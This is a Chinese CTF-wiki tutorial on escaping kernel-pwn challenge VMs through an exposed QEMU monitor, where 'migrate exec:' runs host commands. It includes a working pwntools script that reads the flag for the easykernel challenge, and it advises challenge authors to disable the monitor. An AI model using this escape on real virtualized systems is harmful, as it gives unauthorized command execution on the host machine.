利用 QEMU Monitor 读取 flag¶
QEMU monitor 是 QEMU 内置的一个交互式控制台窗口,主要用于监控和管理虚拟机的状态。由于 Linux kernel pwn 题目通常使用 QEMU 创建虚拟机环境,因此若是未禁止选手对 QEMU monitor 的访问,则选手可以直接获得整个虚拟机的访问权限。同时,由于 QEMU monitor 支持在 host 侧执行命令,因此也可以直接读取题目环境中的 flag,这同时意味着我们还能可以利用 QEMU monitor 完成虚拟化逃逸。
对于出题人而言,应当时刻保证
QEMU
的参数包含一行-monitor none
或是-monitor /dev/null
以确保选手无法访问 QEMU monitor。
通常情况下,进入 QEMU monitor 的方法如下:
- 首先同时按下
CTRL + A
- 接下来按
C
使用 pwntools 脚本时,可以通过发送 "\x01c"
完成,例如:
p = remote("localhost", 11451)
p.send(b"\x01c")
在 QEMU monitor 当中有一条比较好用的指令叫做 migrate
,其支持我们执行特定的 URI:
(qemu) help migrate
migrate [-d] [-r] uri -- migrate to URI (using -d to not wait for completion)
-r to resume a paused postcopy migration
其中,URI 可以是 'exec:<command>'
或 tcp:<ip:port>
,前者支持我们直接在宿主机上执行命令,例如下面的命令在宿主机上执行了 ls
命令:
migrate "exec: sh -c ls"
有的时候可能会由于一些特殊原因遇到没有输出的情况,这个时候可以尝试将 stdout 重定向至 stderr,例如:
(qemu) migrate "exec: whoami"
qemu-system-x86_64: failed to save SaveStateEntry with id(name): 2(ram): -5
qemu-system-x86_64: Unable to write to command: Broken pipe
qemu-system-x86_64: Unable to write to command: Broken pipe
(qemu) migrate "exec: whoami 1>&2"
arttnba3
qemu-system-x86_64: failed to save SaveStateEntry with id(name): 2(ram): -5
qemu-system-x86_64: Unable to write to command: Broken pipe
qemu-system-x86_64: Unable to write to command: Broken pipe
(qemu)
例题: 西湖论剑2021线上初赛 - easykernel¶
题目附件可在 https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/linux/kernel-mode/XHLJ2021-easykernel 下载。
分析 && 利用¶
首先查看启动脚本,可以发现没有禁止 QEMU monitor:
#!/bin/sh
qemu-system-x86_64 \
-m 64M \
-cpu kvm64,+smep \
-kernel ./bzImage \
-initrd rootfs.img \
-nographic \
-s \
-append "console=ttyS0 kaslr quiet noapic"
因此我们可以直接通过 QEMU monitor 读取宿主机上的 flag,这里 flag 存放在 rootfs.img.gz
中,因此我们使用 strings|grep
进行过滤:
from pwn import *
def recvuntil_filter(p, target):
target_len = len(target)
s = b''
ignore_next = False
while True:
ch = p.recv(1)
if ignore_next:
ignore_next = False
continue
if ch == b'\x1b':
ch = p.recv(2)
if ch == b'[D':
ignore_next = True
elif ch == b'[K':
s = b''
else:
print("Unhandled escape sequences : {}".format(ch))
continue
if ch[0] < 0x20 or ch[0] > 0x7E:
continue
s += ch
if s[-target_len:] == target:
return s
def main():
p = process('./start.sh')
p.recvuntil(b"/ $")
p.send(b"\x01c")
p.recvuntil(b"monitor - type 'help' for more information")
p.sendline(b'migrate "exec: gunzip -c ./rootfs.img.gz | strings | grep -i flag{ 1>&2"')
recvuntil_filter(p, b'grep -i flag{')
flag = recvuntil_filter(p, b'flag{')[-5:]
flag += recvuntil_filter(p, b'}')
print(flag.decode())
if __name__ == '__main__':
main()